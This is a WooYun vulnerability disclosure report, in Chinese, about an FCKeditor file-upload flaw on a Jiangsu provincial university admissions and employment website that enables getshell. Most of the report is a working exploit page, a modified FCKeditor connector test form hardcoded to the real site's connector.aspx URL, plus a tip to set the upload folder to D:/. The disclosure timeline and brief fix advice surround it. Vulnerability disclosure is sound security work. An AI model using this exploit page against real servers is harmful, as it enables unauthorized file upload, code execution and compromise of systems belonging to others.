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缺陷编号:wooyun-2014-049055

漏洞标题: 江苏省高校招生就业指导服务中心编辑器漏洞可getshell

相关厂商:江苏省高校招生就业指导服务中心

漏洞作者: w5r2

提交时间:2014-01-16 14:18

修复时间:2014-03-02 14:18

公开时间:2014-03-02 14:18

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

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漏洞详情

披露状态:

2014-01-16: 细节已通知厂商并且等待厂商处理中
2014-01-21: 厂商已经确认,细节仅向厂商公开
2014-01-31: 细节向核心白帽子及相关领域专家公开
2014-02-10: 细节向普通白帽子公开
2014-02-20: 细节向实习白帽子公开
2014-03-02: 细节向公众公开

简要描述:

江苏省高校招生就业指导服务中心 编辑器漏洞导致系统被入侵

详细说明:

http://www.91job.gov.cn:2008/fckeditor/editor/filemanager/connectors/aspx/connector.aspx

1.jpg


利用代码如下

<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">
function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
return sUrl ;
}
function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;
document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}
function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}
function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
if ( ! sFolder )
return false ;
var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
SetFrameUrl( sUrl ) ;
return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
this.frames.frmUpload = this ;
function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}
</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="http://www.91job.gov.cn:2008/fckeditor/editor/filemanager/connectors/aspx/connector.aspx" selected="selected">ASP.Net</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>


Current Folder 位置可填写   D:/  
效果可以重现


漏洞证明:

如上所示

修复方案:

修复编辑器

版权声明:转载请注明来源 w5r2@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-01-21 08:33

厂商回复:

最新状态:

暂无


漏洞评价:

评论